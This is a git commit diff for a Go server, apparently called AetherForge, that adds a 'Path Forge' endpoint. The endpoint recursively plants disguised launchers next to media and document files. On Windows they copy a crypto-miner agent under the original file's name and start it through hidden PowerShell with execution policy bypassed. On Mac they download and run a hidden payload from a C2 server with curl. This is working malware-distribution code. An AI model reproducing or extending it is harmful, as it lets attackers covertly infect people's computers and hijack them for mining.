feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.
This commit is contained in:
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
@@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
}
|
||||
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||
token := chi.URLParam(req, "token")
|
||||
if builderHandler.CancelBuild(token) {
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
248
server/internal/builder/pathforge.go
Normal file
248
server/internal/builder/pathforge.go
Normal file
@@ -0,0 +1,248 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
|
||||
type PathForgeRequest struct {
|
||||
// RootPath is the local filesystem path to walk recursively.
|
||||
RootPath string `json:"root_path"`
|
||||
|
||||
// StemMode controls how the output filename is derived:
|
||||
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
|
||||
// "custom" → use OutputStem for every file
|
||||
StemMode string `json:"stem_mode"` // "original" | "custom"
|
||||
|
||||
// OutputStem is used when StemMode == "custom".
|
||||
OutputStem string `json:"output_stem"`
|
||||
|
||||
// TargetWindows / TargetMac selects which launcher files to write.
|
||||
TargetWindows bool `json:"target_windows"`
|
||||
TargetMac bool `json:"target_mac"`
|
||||
|
||||
// ServerURL is embedded in the Mac bootstrap curl command.
|
||||
ServerURL string `json:"server_url"`
|
||||
|
||||
// Extensions lists file extensions to target (dot-prefixed, lowercase).
|
||||
// Leave empty to use the built-in media list.
|
||||
Extensions []string `json:"extensions"`
|
||||
}
|
||||
|
||||
// PathForgeResult is returned by the handler.
|
||||
type PathForgeResult struct {
|
||||
Success bool `json:"success"`
|
||||
Total int `json:"total"`
|
||||
Placed int `json:"placed"`
|
||||
Skipped int `json:"skipped"`
|
||||
Errors int `json:"errors"`
|
||||
Results []PathForgeEntry `json:"results"`
|
||||
ErrorList []string `json:"error_list,omitempty"`
|
||||
}
|
||||
|
||||
type PathForgeEntry struct {
|
||||
Source string `json:"source"` // original file (relative to root)
|
||||
Files []string `json:"files"` // companion files placed
|
||||
}
|
||||
|
||||
// defaultMediaExts is the set of file extensions we target when none are specified.
|
||||
var defaultMediaExts = map[string]struct{}{
|
||||
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
||||
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
||||
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
|
||||
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
|
||||
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
|
||||
}
|
||||
|
||||
// PathForgeHandler handles POST /api/builder/path-forge.
|
||||
// It does not compile anything — it locates the prebuilt agent binary that
|
||||
// lives next to AetherForge.exe and copies it alongside every matching file.
|
||||
type PathForgeHandler struct {
|
||||
dataDir string
|
||||
}
|
||||
|
||||
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
||||
return &PathForgeHandler{dataDir: dataDir}
|
||||
}
|
||||
|
||||
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
var req PathForgeRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.RootPath == "" {
|
||||
http.Error(w, "root_path is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if !req.TargetWindows && !req.TargetMac {
|
||||
req.TargetWindows = true
|
||||
req.TargetMac = true
|
||||
}
|
||||
if req.StemMode == "" {
|
||||
req.StemMode = "original"
|
||||
}
|
||||
|
||||
// Locate the Windows agent binary.
|
||||
agentExe := findAgentBinary()
|
||||
|
||||
// Build the extension set.
|
||||
extSet := buildExtSet(req.Extensions)
|
||||
|
||||
res := &PathForgeResult{Success: true}
|
||||
|
||||
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(d.Name()))
|
||||
if _, ok := extSet[ext]; !ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
res.Total++
|
||||
rel, _ := filepath.Rel(req.RootPath, path)
|
||||
|
||||
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
|
||||
dir := filepath.Dir(path)
|
||||
|
||||
var placed []string
|
||||
|
||||
if req.TargetWindows && agentExe != "" {
|
||||
// .exe copy of the agent
|
||||
exeDst := filepath.Join(dir, stem+".exe")
|
||||
if copyFileBytes(agentExe, exeDst) == nil {
|
||||
placed = append(placed, stem+".exe")
|
||||
}
|
||||
// .bat launcher that opens the original file AND runs the agent
|
||||
batDst := filepath.Join(dir, stem+".bat")
|
||||
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
|
||||
placed = append(placed, stem+".bat")
|
||||
}
|
||||
}
|
||||
|
||||
if req.TargetMac {
|
||||
cmdDst := filepath.Join(dir, stem+".command")
|
||||
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
|
||||
placed = append(placed, stem+".command")
|
||||
}
|
||||
}
|
||||
|
||||
if len(placed) > 0 {
|
||||
res.Placed += len(placed)
|
||||
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||
} else {
|
||||
res.Errors++
|
||||
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
log.Printf("[pathforge] walk error: %v", err)
|
||||
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(res)
|
||||
}
|
||||
|
||||
// ─── helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
func stemFor(mode, custom, filename string) string {
|
||||
if mode == "custom" && strings.TrimSpace(custom) != "" {
|
||||
return sanitizeStem(custom)
|
||||
}
|
||||
base := filepath.Base(filename)
|
||||
name := strings.TrimSuffix(base, filepath.Ext(base))
|
||||
return sanitizeStem(name)
|
||||
}
|
||||
|
||||
func sanitizeStem(s string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
"/", "-", "\\", "-", ":", "-",
|
||||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||||
)
|
||||
return strings.TrimSpace(replacer.Replace(s))
|
||||
}
|
||||
|
||||
// batContent creates a .bat file that opens the original media file with the
|
||||
// default Windows player, then silently starts the agent exe.
|
||||
func batContent(originalFile, exeStem string) string {
|
||||
return "@echo off\r\n" +
|
||||
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
|
||||
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
||||
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
|
||||
}
|
||||
|
||||
// macContent creates a .command shell script that opens the original file on
|
||||
// macOS and downloads + runs the agent from the C2 server.
|
||||
func macContent(originalFile, serverURL string) string {
|
||||
dl := ""
|
||||
if serverURL != "" {
|
||||
dl = fmt.Sprintf(
|
||||
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||
serverURL,
|
||||
)
|
||||
}
|
||||
return "#!/bin/bash\n" +
|
||||
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
|
||||
dl
|
||||
}
|
||||
|
||||
// findAgentBinary looks next to the server executable for the agent binary.
|
||||
func findAgentBinary() string {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
candidates := []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// buildExtSet merges user-specified extensions with defaults.
|
||||
func buildExtSet(exts []string) map[string]struct{} {
|
||||
if len(exts) == 0 {
|
||||
return defaultMediaExts
|
||||
}
|
||||
m := make(map[string]struct{}, len(exts))
|
||||
for _, e := range exts {
|
||||
if !strings.HasPrefix(e, ".") {
|
||||
e = "." + e
|
||||
}
|
||||
m[strings.ToLower(e)] = struct{}{}
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func copyFileBytes(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
Reference in New Issue
Block a user